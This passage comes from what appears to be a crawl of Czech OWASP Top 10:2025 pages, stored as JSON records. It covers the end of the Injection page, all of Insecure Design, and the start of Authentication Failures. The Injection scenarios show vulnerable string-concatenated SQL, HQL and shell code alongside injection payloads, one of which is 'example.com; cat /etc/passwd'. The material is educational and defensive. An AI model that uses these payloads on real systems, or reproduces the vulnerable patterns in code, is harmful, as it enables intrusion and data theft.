SQL volání:\n\n```\nString query = \"SELECT * FROM accounts WHERE custID='\" + request.getParameter(\"id\") + \"'\";\n```\n\nÚtočník upraví hodnotu parametru id ve svém prohlížeči tak, aby odeslal: `' OR '1'='1`. Například:\n\n```\nhttp://example.com/app/accountView?id=' OR '1'='1\n```\n\nTím se změní význam dotazu tak, že vrátí všechny záznamy z tabulky accounts. Nebezpečnější útoky by mohly upravit nebo smazat data, nebo dokonce vyvolat uložené procedury.\n\n**Scénář #2:** Slepá důvěra aplikace frameworkům může vést k dotazům, které jsou stále zranitelné. Například Hibernate Query Language (HQL):\n\n```\nQuery HQLQuery = session.createQuery(\"FROM accounts WHERE custID='\" + request.getParameter(\"id\") + \"'\");\n```\n\nÚtočník zadá: `' OR custID IS NOT NULL OR custID='`. Tím obejde filtr a vrátí všechny účty. Přestože HQL obsahuje méně nebezpečných funkcí než „čisté“ SQL, při konkatenaci (zřetězení) uživatelského vstupu do dotazů stále umožňuje neoprávněný přístup k datům.\n\n**Scénář #3:** Aplikace předává uživatelský vstup přímo do příkazu operačního systému:\n\n```\nString cmd = \"nslookup \" + request.getParameter(\"domain\");\nRuntime.getRuntime().exec(cmd);\n```\n\nÚtočník zadá příkaz `example.com; cat /etc/passwd`, aby provedl libovolné příkazy na serveru.\n\n## Reference\n\n- [OWASP Proactive Controls: Secure Database Access](https://owasp.org/www-project-proactive-controls/v3/en/c3-secure-database)\n- [OWASP ASVS: V5 Input Validation and Encoding](https://owasp.org/www-project-application-security-verification-standard)\n- [OWASP Testing Guide: SQL Injection,](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05-Testing_for_SQL_Injection) [Command Injection](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/12-Testing_for_Command_Injection) , and [ORM Injection](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05.7-Testing_for_ORM_Injection)\n- [OWASP Cheat Sheet: Injection Prevention](https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: SQL Injection Prevention](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: Injection Prevention in Java](https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet_in_Java.html)\n- [OWASP Cheat Sheet: Query Parameterization](https://cheatsheetseries.owasp.org/cheatsheets/Query_Parameterization_Cheat_Sheet.html)\n- [OWASP Automated Threats to Web Applications – OAT-014](https://owasp.org/www-project-automated-threats-to-web-applications/)\n- [PortSwigger: Server-side template injection](https://portswigger.net/kb/issues/00101080_serversidetemplateinjection)\n- [Awesome Fuzzing: a list of fuzzing resources](https://github.com/secfigo/Awesome-Fuzzing)\n\n## Seznam mapovaných CWE\n\n- [CWE-20 Improper Input Validation](https://cwe.mitre.org/data/definitions/20.html)\n- [CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')](https://cwe.mitre.org/data/definitions/74.html)\n- [CWE-76 Improper Neutralization of Equivalent Special Elements](https://cwe.mitre.org/data/definitions/76.html)\n- [CWE-77 Improper Neutralization of Special Elements used in a Command ('Command Injection')](https://cwe.mitre.org/data/definitions/77.html)\n- [CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')](https://cwe.mitre.org/data/definitions/78.html)\n- [CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')](https://cwe.mitre.org/data/definitions/79.html)\n- [CWE-80 Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)](https://cwe.mitre.org/data/definitions/80.html)\n- [CWE-83 Improper Neutralization of Script in Attributes in a Web Page](https://cwe.mitre.org/data/definitions/83.html)\n- [CWE-86 Improper Neutralization of Invalid Characters in Identifiers in Web Pages](https://cwe.mitre.org/data/definitions/86.html)\n- [CWE-88 Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')](https://cwe.mitre.org/data/definitions/88.html)\n- [CWE-89 Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')](https://cwe.mitre.org/data/definitions/89.html)\n- [CWE-90 Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')](https://cwe.mitre.org/data/definitions/90.html)\n- [CWE-91 XML Injection (aka Blind XPath Injection)](https://cwe.mitre.org/data/definitions/91.html)\n- [CWE-93 Improper Neutralization of CRLF Sequences ('CRLF Injection')](https://cwe.mitre.org/data/definitions/93.html)\n- [CWE-94 Improper Control of Generation of Code ('Code Injection')](https://cwe.mitre.org/data/definitions/94.html)\n- [CWE-95 Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')](https://cwe.mitre.org/data/definitions/95.html)\n- [CWE-96 Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')](https://cwe.mitre.org/data/definitions/96.html)\n- [CWE-97 Improper Neutralization of Server-Side Includes (SSI) Within a Web Page](https://cwe.mitre.org/data/definitions/97.html)\n- [CWE-98 Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')](https://cwe.mitre.org/data/definitions/98.html)\n- [CWE-99 Improper Control of Resource Identifiers ('Resource Injection')](https://cwe.mitre.org/data/definitions/99.html)\n- [CWE-103 Struts: Incomplete validate() Method Definition](https://cwe.mitre.org/data/definitions/103.html)\n- [CWE-104 Struts: Form Bean Does Not Extend Validation Class](https://cwe.mitre.org/data/definitions/104.html)\n- [CWE-112 Missing XML Validation](https://cwe.mitre.org/data/definitions/112.html)\n- [CWE-113 Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')](https://cwe.mitre.org/data/definitions/113.html)\n- [CWE-114 Process Control](https://cwe.mitre.org/data/definitions/114.html)\n- [CWE-115 Misinterpretation of Output](https://cwe.mitre.org/data/definitions/115.html)\n- [CWE-116 Improper Encoding or Escaping of Output](https://cwe.mitre.org/data/definitions/116.html)\n- [CWE-129 Improper Validation of Array Index](https://cwe.mitre.org/data/definitions/129.html)\n- [CWE-159 Improper Handling of Invalid Use of Special Elements](https://cwe.mitre.org/data/definitions/159.html)\n- [CWE-470 Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')](https://cwe.mitre.org/data/definitions/470.html)\n- [CWE-493 Critical Public Variable Without Final Modifier](https://cwe.mitre.org/data/definitions/493.html)\n- [CWE-500 Public Static Field Not Marked Final](https://cwe.mitre.org/data/definitions/500.html)\n- [CWE-564 SQL Injection: Hibernate](https://cwe.mitre.org/data/definitions/564.html)\n- [CWE-610 Externally Controlled Reference to a Resource in Another Sphere](https://cwe.mitre.org/data/definitions/610.html)\n- [CWE-643 Improper Neutralization of Data within XPath Expressions ('XPath Injection')](https://cwe.mitre.org/data/definitions/643.html)\n- [CWE-644 Improper Neutralization of HTTP Headers for Scripting Syntax](https://cwe.mitre.org/data/definitions/644.html)\n- [CWE-917 Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')](https://cwe.mitre.org/data/definitions/917.html)", "znaku_textu": 11525, "slov": 1225, "odkazu": 86, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:08:37", "sha256": "4354fe86828d35caf31d044407c9b6775daed823742b622bc0c73088da91d0dc", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://genai.owasp.org/llm-top-10/", "https://genai.owasp.org/llmrisk/llm01-prompt-injection/", "https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet_in_Java.html", "https://cheatsheetseries.owasp.org/cheatsheets/Query_Parameterization_Cheat_Sheet.html", "https://portswigger.net/kb/issues/00101080_serversidetemplateinjection", "https://github.com/secfigo/Awesome-Fuzzing", "https://cwe.mitre.org/data/definitions/20.html", "https://cwe.mitre.org/data/definitions/74.html", "https://cwe.mitre.org/data/definitions/76.html", "https://cwe.mitre.org/data/definitions/77.html", "https://cwe.mitre.org/data/definitions/78.html", "https://cwe.mitre.org/data/definitions/79.html", "https://cwe.mitre.org/data/definitions/80.html", "https://cwe.mitre.org/data/definitions/83.html", "https://cwe.mitre.org/data/definitions/86.html", "https://cwe.mitre.org/data/definitions/88.html", "https://cwe.mitre.org/data/definitions/89.html", "https://cwe.mitre.org/data/definitions/90.html", "https://cwe.mitre.org/data/definitions/91.html", "https://cwe.mitre.org/data/definitions/93.html", "https://cwe.mitre.org/data/definitions/94.html", "https://cwe.mitre.org/data/definitions/95.html", "https://cwe.mitre.org/data/definitions/96.html", "https://cwe.mitre.org/data/definitions/97.html", "https://cwe.mitre.org/data/definitions/98.html", "https://cwe.mitre.org/data/definitions/99.html", "https://cwe.mitre.org/data/definitions/103.html", "https://cwe.mitre.org/data/definitions/104.html", "https://cwe.mitre.org/data/definitions/112.html", "https://cwe.mitre.org/data/definitions/113.html", "https://cwe.mitre.org/data/definitions/114.html", "https://cwe.mitre.org/data/definitions/115.html", "https://cwe.mitre.org/data/definitions/116.html", "https://cwe.mitre.org/data/definitions/129.html", "https://cwe.mitre.org/data/definitions/159.html", "https://cwe.mitre.org/data/definitions/470.html", "https://cwe.mitre.org/data/definitions/493.html", "https://cwe.mitre.org/data/definitions/500.html", "https://cwe.mitre.org/data/definitions/564.html", "https://cwe.mitre.org/data/definitions/610.html", "https://cwe.mitre.org/data/definitions/643.html", "https://cwe.mitre.org/data/definitions/644.html", "https://cwe.mitre.org/data/definitions/917.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/cs/A06_2025-Insecure_Design/", "titulek": "A06 Nezabezpečený návrh - OWASP Top 10:2025", "h1": "A06:2025 Nezabezpečený návrh (Insecure Design)", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/cs/A06_2025-Insecure_Design/", "jazyk": "cs", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A06:2025 Nezabezpečený návrh (Insecure Design)"}, {"uroven": 2, "text": "Pozadí"}, {"uroven": 2, "text": "Tabulka skóre"}, {"uroven": 2, "text": "Popis"}, {"uroven": 3, "text": "Požadavky a správa zdrojů"}, {"uroven": 3, "text": "Zabezpečený návrh"}, {"uroven": 3, "text": "Bezpečný vývojový cyklus (Secure Development Lifecycle, SDLC)"}, {"uroven": 2, "text": "Jak tomu zabránit"}, {"uroven": 2, "text": "Příklady scénářů útoků"}, {"uroven": 2, "text": "Reference"}, {"uroven": 2, "text": "Seznam mapovaných CWE"}], "markdown": "# A06:2025 Nezabezpečený návrh (Insecure Design)\n\n## Pozadí\n\nKategorie Nezabezpečený návrh klesla v žebříčku o dvě příčky, ze 4. na 6. místo, protože ji předstihly kategorie **[A02:2025 Chybná bezpečnostní konfigurace (Security Misconfiguration)](../A02_2025-Security_Misconfiguration/)** a **[A03:2025 Selhání dodavatelského řetězce softwaru (Software Supply Chain Failures)](../A03_2025-Software_Supply_Chain_Failures/)**. Tato kategorie byla zavedena v roce 2021 a od té doby lze v oboru pozorovat znatelné zlepšení v oblasti modelování hrozeb i větší důraz na bezpečný návrh. Kategorie se zaměřuje na rizika související s nedostatky v návrhu a architektuře aplikací a zdůrazňuje potřebu širšího využívání modelování hrozeb, bezpečných návrhových vzorů a referenčních architektur. Patří sem také nedostatky v byznysové logice aplikace, například chybějící vymezení nežádoucích nebo neočekávaných změn stavu aplikace. Jako komunita se musíme posunout za hranice pojetí „shift-left“ omezeného na oblast kódování a zaměřit se také na činnosti předcházející samotnému psaní kódu, jako je formulace požadavků a návrh aplikace. Tyto činnosti jsou zásadní pro uplatňování principů Secure by Design (viz například **[Establish a Modern AppSec Program: Planning and Design Phase](../0x03_2025-Establishing_a_Modern_Application_Security_Program/)**). Mezi významné položky Common Weakness Enumeration (CWE) patří *CWE-256: Unprotected Storage of Credentials, CWE-269: Improper Privilege Management, CWE-434: Unrestricted Upload of File with Dangerous Type, CWE-501: Trust Boundary Violation a CWE-522: Insufficiently Protected Credentials*.\n\n## Tabulka skóre\n\n| Počet mapovaných CWE | Max míra výskytu | Průměrná míra výskytu | Max pokrytí | Průměrné pokrytí | Průměrná vážená zneužitelnost | Průměrný vážený dopad | Celkový počet výskytů | Celkový počet CVE |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 39 | 22,18 % | 1,86 % | 88,76 % | 35,18 % | 6,96 | 4,05 | 729 882 | 7 647 |\n\n## Popis\n\nNezabezpečený návrh je široká kategorie zahrnující různé slabiny, vyjádřené jako „chybějící nebo neúčinný návrh bezpečnostních kontrol“. Nezabezpečený návrh není zdrojem všech ostatních kategorií rizik Top 10. Je třeba poznamenat, že existuje rozdíl mezi nezabezpečeným návrhem a nezabezpečenou implementací. Vady návrhu a defekty implementace rozlišujeme z určitého důvodu: mají různé kořenové příčiny, objevují se v různých fázích vývojového procesu a vyžadují odlišné způsoby nápravy.\n\nI bezpečný návrh může obsahovat defekty implementace vedoucí ke zranitelnostem, které mohou být zneužity. Nezabezpečený návrh nelze napravit dokonalou implementací, protože potřebné bezpečnostní kontroly pro obranu proti konkrétním útokům nebyly nikdy vytvořeny. Jedním z faktorů přispívajících k nezabezpečenému návrhu je nedostatečné profilování byznysových rizik, která jsou vlastní vyvíjenému softwaru nebo systému, a tedy selhání při určení toho, jaká úroveň bezpečnostního návrhu je požadována.\n\nTři klíčové součásti bezpečného návrhu jsou:\n\n- shromažďování požadavků a správa zdrojů,\n- vytvoření bezpečného návrhu,\n- existence bezpečného vývojového životního cyklu (Secure Development Lifecycle, SDLC).\n\n### Požadavky a správa zdrojů\n\nShromážděte a vyjednejte se zástupci byznysu požadavky na aplikaci, včetně požadavků na ochranu týkajících se důvěrnosti, integrity, dostupnosti a autenticity všech datových aktiv a očekávané byznysové logiky. Vezměte v úvahu, jak moc bude vaše aplikace vystavena, a zda potřebujete oddělení tenantů (nad rámec toho, co je nutné pro řízení přístupu). Sestavte technické požadavky, včetně funkčních a nefunkčních bezpečnostních požadavků. Naplánujte a vyjednejte rozpočet pokrývající všechny činnosti návrhu, vývoje, testování a provozu, včetně bezpečnostních aktivit.\n\n### Zabezpečený návrh\n\nZabezpečený návrh je kultura a metodika, která průběžně vyhodnocuje hrozby a zajišťuje, aby byl kód robustně navržen a testován tak, aby bránil známým metodám útoku. Modelování hrozeb by mělo být integrováno do refinement schůzek (nebo obdobných aktivit); hledejte změny v datových tocích, řízení přístupu nebo jiných bezpečnostních kontrolách. Při tvorbě user story určete správný tok a chybové stavy a zajistěte, aby jim odpovědné i dotčené strany dobře rozuměly a souhlasily s nimi. Analyzujte předpoklady a podmínky očekávaných i chybových toků, abyste zajistili, že zůstávají přesné a žádoucí. Určete, jak ověřovat předpoklady a vynucovat podmínky potřebné pro správné chování. Zajistěte, aby byly výsledky zdokumentovány v user story. Učte se z chyb a nabízejte pozitivní pobídky na podporu zlepšování. Zabezpečený návrh není ani doplněk, ani nástroj, který lze do softwaru přidat.\n\n### Bezpečný vývojový cyklus (Secure Development Lifecycle, SDLC)\n\nBezpečný software vyžaduje bezpečný vývojový cyklus, bezpečný návrhový vzor, metodiku „paved road“, bezpečnou knihovnu komponent, vhodné nástroje, modelování hrozeb a post-incidentní analýzy, které se využívají ke zlepšování procesu. Obraťte se na své bezpečnostní specialisty na začátku softwarového projektu, v jeho průběhu i při průběžné údržbě softwaru. Zvažte využití modelu [OWASP Software Assurance Maturity Model (SAMM)](https://owaspsamm.org/), který vám pomůže strukturovat úsilí v oblasti bezpečného vývoje softwaru.\n\nVlastní odpovědnost vývojářů bývá často podceňována. Podporujte kulturu uvědomění, odpovědnosti a proaktivního snižování rizik. Pravidelné výměny poznatků o bezpečnosti (např. během modelování hrozeb) mohou pomáhat vytvářet způsob uvažování, který zahrnuje bezpečnost do všech důležitých návrhových rozhodnutí.\n\n## Jak tomu zabránit\n\n- Zaveďte a používejte bezpečný vývojový cyklus ve spolupráci s odborníky na AppSec, kteří pomohou vyhodnocovat a navrhovat bezpečnostní kontroly a kontroly související s ochranou soukromí.\n- Zaveďte a používejte knihovnu bezpečných návrhových vzorů nebo komponent typu „paved road“.\n- Používejte modelování hrozeb pro kritické části aplikace, jako je autentizace, řízení přístupu, byznysová logika a klíčové toky.\n- Používejte modelování hrozeb jako vzdělávací nástroj pro rozvoj bezpečnostního způsobu uvažování.\n- Začleňujte bezpečnostní jazyk a bezpečnostní kontroly do user stories.\n- Začleňujte kontroly plausibility na každé vrstvě aplikace (od frontendu po backend).\n- Pište jednotkové a integrační testy, abyste ověřili, že všechny kritické toky jsou odolné vůči hrozbám podle modelu hrozeb. Sestavte use cases (případy použití) a misuse cases (případy zneužití) pro každou vrstvu aplikace.\n- Oddělte jednotlivé vrstvy aplikace na úrovni systému i sítě podle míry expozice a požadavků na ochranu.\n- Zajistěte robustní oddělení tenantů již v návrhu, a to napříč všemi vrstvami.\n\n## Příklady scénářů útoků\n\n**Scénář #1:** Proces obnovy přihlašovacích údajů může obsahovat „otázky a odpovědi“, což zakazují NIST 800-63B, OWASP ASVS a OWASP Top 10. Otázky a odpovědi nelze považovat za důvěryhodný důkaz identity, protože odpovědi může znát více než jedna osoba. Taková funkcionalita by měla být odstraněna a nahrazena bezpečnějším návrhem.\n\n**Scénář #2:** Řetězec kin umožňuje skupinové slevy při rezervaci a zálohu vyžaduje až při více než patnácti účastnících. Útočníci mohou pro tento tok provést modelování hrozeb a otestovat, zda v byznysové logice aplikace najdou vektor útoku, například rezervaci šesti set míst ve všech kinech najednou v několika málo požadavcích, což způsobí masivní ztrátu příjmů.\n\n**Scénář #3:** E-shop maloobchodního řetězce nemá ochranu proti botům provozovaným překupníky, kteří nakupují špičkové grafické karty za účelem dalšího prodeje na aukčních webech. To vede k velmi špatné publicitě pro výrobce grafických karet i vlastníky maloobchodního řetězce a k přetrvávající nevraživosti u nadšenců, kteří tyto karty nemohou získat za žádnou cenu. Pečlivý návrh ochrany proti botům a pravidla doménové logiky, například nákupy provedené během několika sekund od zahájení dostupnosti, mohou identifikovat neautentické nákupy a takové transakce odmítnout.\n\n## Reference\n\n- [OWASP Cheat Sheet: Secure Design Principles](https://cheatsheetseries.owasp.org/cheatsheets/Secure_Product_Design_Cheat_Sheet.html)\n- [OWASP SAMM: Design | Secure Architecture](https://owaspsamm.org/model/design/secure-architecture/)\n- [OWASP SAMM: Design | Threat Assessment](https://owaspsamm.org/model/design/threat-assessment/)\n- [NIST – Guidelines on Minimum Standards for Developer Verification of Software](https://www.nist.gov/publications/guidelines-minimum-standards-developer-verification-software)\n- [The Threat Modeling Manifesto](https://threatmodelingmanifesto.org/)\n- [Awesome Threat Modeling](https://github.com/hysnsec/awesome-threat-modelling)\n\n## Seznam mapovaných CWE\n\n- [CWE-73 External Control of File Name or Path](https://cwe.mitre.org/data/definitions/73.html)\n- [CWE-183 Permissive List of Allowed Inputs](https://cwe.mitre.org/data/definitions/183.html)\n- [CWE-256 Unprotected Storage of Credentials](https://cwe.mitre.org/data/definitions/256.html)\n- [CWE-266 Incorrect Privilege Assignment](https://cwe.mitre.org/data/definitions/266.html)\n- [CWE-269 Improper Privilege Management](https://cwe.mitre.org/data/definitions/269.html)\n- [CWE-286 Incorrect User Management](https://cwe.mitre.org/data/definitions/286.html)\n- [CWE-311 Missing Encryption of Sensitive Data](https://cwe.mitre.org/data/definitions/311.html)\n- [CWE-312 Cleartext Storage of Sensitive Information](https://cwe.mitre.org/data/definitions/312.html)\n- [CWE-313 Cleartext Storage in a File or on Disk](https://cwe.mitre.org/data/definitions/313.html)\n- [CWE-316 Cleartext Storage of Sensitive Information in Memory](https://cwe.mitre.org/data/definitions/316.html)\n- [CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')](https://cwe.mitre.org/data/definitions/362.html)\n- [CWE-382 J2EE Bad Practices: Use of System.exit()](https://cwe.mitre.org/data/definitions/382.html)\n- [CWE-419 Unprotected Primary Channel](https://cwe.mitre.org/data/definitions/419.html)\n- [CWE-434 Unrestricted Upload of File with Dangerous Type](https://cwe.mitre.org/data/definitions/434.html)\n- [CWE-436 Interpretation Conflict](https://cwe.mitre.org/data/definitions/436.html)\n- [CWE-444 Inconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling')](https://cwe.mitre.org/data/definitions/444.html)\n- [CWE-451 User Interface (UI) Misrepresentation of Critical Information](https://cwe.mitre.org/data/definitions/451.html)\n- [CWE-454 External Initialization of Trusted Variables or Data Stores](https://cwe.mitre.org/data/definitions/454.html)\n- [CWE-472 External Control of Assumed-Immutable Web Parameter](https://cwe.mitre.org/data/definitions/472.html)\n- [CWE-501 Trust Boundary Violation](https://cwe.mitre.org/data/definitions/501.html)\n- [CWE-522 Insufficiently Protected Credentials](https://cwe.mitre.org/data/definitions/522.html)\n- [CWE-525 Use of Web Browser Cache Containing Sensitive Information](https://cwe.mitre.org/data/definitions/525.html)\n- [CWE-539 Use of Persistent Cookies Containing Sensitive Information](https://cwe.mitre.org/data/definitions/539.html)\n- [CWE-598 Use of GET Request Method With Sensitive Query Strings](https://cwe.mitre.org/data/definitions/598.html)\n- [CWE-602 Client-Side Enforcement of Server-Side Security](https://cwe.mitre.org/data/definitions/602.html)\n- [CWE-628 Function Call with Incorrectly Specified Arguments](https://cwe.mitre.org/data/definitions/628.html)\n- [CWE-642 External Control of Critical State Data](https://cwe.mitre.org/data/definitions/642.html)\n- [CWE-646 Reliance on File Name or Extension of Externally-Supplied File](https://cwe.mitre.org/data/definitions/646.html)\n- [CWE-653 Insufficient Compartmentalization](https://cwe.mitre.org/data/definitions/653.html)\n- [CWE-656 Reliance on Security Through Obscurity](https://cwe.mitre.org/data/definitions/656.html)\n- [CWE-657 Violation of Secure Design Principles](https://cwe.mitre.org/data/definitions/657.html)\n- [CWE-676 Use of Potentially Dangerous Function](https://cwe.mitre.org/data/definitions/676.html)\n- [CWE-693 Protection Mechanism Failure](https://cwe.mitre.org/data/definitions/693.html)\n- [CWE-799 Improper Control of Interaction Frequency](https://cwe.mitre.org/data/definitions/799.html)\n- [CWE-807 Reliance on Untrusted Inputs in a Security Decision](https://cwe.mitre.org/data/definitions/807.html)\n- [CWE-841 Improper Enforcement of Behavioral Workflow](https://cwe.mitre.org/data/definitions/841.html)\n- [CWE-1021 Improper Restriction of Rendered UI Layers or Frames](https://cwe.mitre.org/data/definitions/1021.html)\n- [CWE-1022 Use of Web Link to Untrusted Target with window.opener Access](https://cwe.mitre.org/data/definitions/1022.html)\n- [CWE-1125 Excessive Attack Surface](https://cwe.mitre.org/data/definitions/1125.html)", "znaku_textu": 12632, "slov": 1400, "odkazu": 84, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:08:38", "sha256": "e3d0a7a2787a4e93fa52af8eaed52d0f6d1ec24673a67a243c5c52deedc15a85", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://owaspsamm.org/", "https://cheatsheetseries.owasp.org/cheatsheets/Secure_Product_Design_Cheat_Sheet.html", "https://owaspsamm.org/model/design/secure-architecture/", "https://owaspsamm.org/model/design/threat-assessment/", "https://www.nist.gov/publications/guidelines-minimum-standards-developer-verification-software", "https://threatmodelingmanifesto.org/", "https://github.com/hysnsec/awesome-threat-modelling", "https://cwe.mitre.org/data/definitions/73.html", "https://cwe.mitre.org/data/definitions/183.html", "https://cwe.mitre.org/data/definitions/256.html", "https://cwe.mitre.org/data/definitions/266.html", "https://cwe.mitre.org/data/definitions/269.html", "https://cwe.mitre.org/data/definitions/286.html", "https://cwe.mitre.org/data/definitions/311.html", "https://cwe.mitre.org/data/definitions/312.html", "https://cwe.mitre.org/data/definitions/313.html", "https://cwe.mitre.org/data/definitions/316.html", "https://cwe.mitre.org/data/definitions/362.html", "https://cwe.mitre.org/data/definitions/382.html", "https://cwe.mitre.org/data/definitions/419.html", "https://cwe.mitre.org/data/definitions/434.html", "https://cwe.mitre.org/data/definitions/436.html", "https://cwe.mitre.org/data/definitions/444.html", "https://cwe.mitre.org/data/definitions/451.html", "https://cwe.mitre.org/data/definitions/454.html", "https://cwe.mitre.org/data/definitions/472.html", "https://cwe.mitre.org/data/definitions/501.html", "https://cwe.mitre.org/data/definitions/522.html", "https://cwe.mitre.org/data/definitions/525.html", "https://cwe.mitre.org/data/definitions/539.html", "https://cwe.mitre.org/data/definitions/598.html", "https://cwe.mitre.org/data/definitions/602.html", "https://cwe.mitre.org/data/definitions/628.html", "https://cwe.mitre.org/data/definitions/642.html", "https://cwe.mitre.org/data/definitions/646.html", "https://cwe.mitre.org/data/definitions/653.html", "https://cwe.mitre.org/data/definitions/656.html", "https://cwe.mitre.org/data/definitions/657.html", "https://cwe.mitre.org/data/definitions/676.html", "https://cwe.mitre.org/data/definitions/693.html", "https://cwe.mitre.org/data/definitions/799.html", "https://cwe.mitre.org/data/definitions/807.html", "https://cwe.mitre.org/data/definitions/841.html", "https://cwe.mitre.org/data/definitions/1021.html", "https://cwe.mitre.org/data/definitions/1022.html", "https://cwe.mitre.org/data/definitions/1125.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/cs/A07_2025-Authentication_Failures/", "titulek": "A07 Selhání autentizace - OWASP Top 10:2025", "h1": "A07:2025 Selhání autentizace (Authentication Failures)", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/cs/A07_2025-Authentication_Failures/", "jazyk": "cs", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A07:2025 Selhání autentizace (Authentication Failures)"}, {"uroven": 2, "text": "Pozadí"}, {"uroven": 2, "text": "Tabulka skóre"}, {"uroven": 2, "text": "Popis"}, {"uroven": 2, "text": "Jak tomu zabránit"}, {"uroven": 2, "text": "Příklady scénářů útoků"}, {"uroven": 2, "text": "Reference"}, {"uroven": 2, "text": "Seznam mapovaných CWE"}], "markdown": "# A07:2025 Selhání autentizace (Authentication Failures)\n\n## Pozadí\n\nSelhání autentizace si udržuje 7. místo s mírnou změnou názvu, aby přesněji odráželo 36 CWE v této kategorii. Navzdory přínosům standardizovaných frameworků (rámců) si tato kategorie udržela 7. místo z roku 2021. Mezi významné CWE patří *CWE-259 Use of Hard-coded Password*, *CWE-297: Improper Validation of Certificate with Host Mismatch*, *CWE-287: Improper Authentication*, *CWE-384: Session Fixation*, and *CWE-798 Use of Hard-coded Credentials*.\n\n## Tabulka skóre\n\n| Počet mapovaných CWE | Max míra výskytu | Průměrná míra výskytu | Max pokrytí | Průměrné pokrytí | Průměrná vážená zneužitelnost | Průměrný vážený dopad | Celkový počet výskytů | Celkový počet CVE |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 36 | 15,80 % | 2,92 % | 100,00 % | 37,14 % | 7,69 | 4,44 | 1 120 673 | 7 147 |\n\n## Popis\n\nTato zranitelnost je přítomna, pokud útočník dokáže oklamat systém tak, aby rozpoznal neplatného nebo nesprávného uživatele jako legitimního. K oslabení autentizace může dojít, pokud aplikace:\n\n- Umožňuje automatizované útoky, jako je credential stuffing, kdy útočník má k dispozici prolomený seznam platných uživatelských jmen a hesel. V poslední době se tento typ útoku rozšířil tak, že zahrnuje i hybridní útoky na hesla v rámci credential stuffingu (známé také jako password spray útoky), kdy útočník používá variace nebo inkrementy uniklých přihlašovacích údajů k získání přístupu, například zkouší Password1!, Password2!, Password3! atd.\n- Umožňuje brute force nebo jiné automatizované, skriptované útoky, které nejsou rychle blokovány.\n- Umožňuje výchozí, slabá nebo dobře známá hesla, jako například Password1 nebo uživatelské jméno admin s heslem admin.\n- Umožňuje uživatelům vytvářet nové účty s přihlašovacími údaji známými z dřívějších úniků.\n- Umožňuje používat slabé nebo neúčinné procesy obnovy přihlašovacích údajů a „zapomenutého hesla“, například „odpovědi založené na znalostech“, které nelze učinit bezpečnými.\n- Používá úložiště hesel v prostém textu, šifrovaná nebo slabě hashovaná (viz [A04:2025-Kryptografická selhání (Cryptographic Failures)](https://owasp.org/Top10/2025/A04_2025-Cryptographic_Failures/)).\n- Nemá vícefaktorové ověřování nebo je neúčinné.\n- Umožňuje použití slabých nebo neúčinných náhradních mechanismů, pokud není k dispozici vícefaktorové ověřování.\n- Vystavuje identifikátor relace v URL, ve skrytém poli („hidden“) nebo na jiném nezabezpečeném místě, které je klientovi dostupné.\n- Po úspěšném přihlášení znovu používá stejný identifikátor relace.\n- Při odhlášení nebo po určité době nečinnosti nesprávně zneplatňuje uživatelské relace nebo autentizační tokeny (zejména tokeny jednotného přihlášení (SSO)).\n- Nevynucuje správně rozsah oprávnění (scope) a zamýšleného příjemce (audience) poskytnutých pověření (credentials).\n\n## Jak tomu zabránit\n\n- Pokud je to možné, implementujte a vynucujte používání vícefaktorového ověřování, abyste zabránili automatizovaným útokům typu credential stuffing, brute force a opětovnému použití odcizených přihlašovacích údajů.\n- Pokud je to možné, podporujte a umožňujte používání správců hesel, aby uživatelům pomáhaly dělat lepší volby.\n- Nezavádějte ani nenasazujte žádné výchozí přihlašovací údaje, zejména pro administrátorské účty.\n- Implementujte kontroly 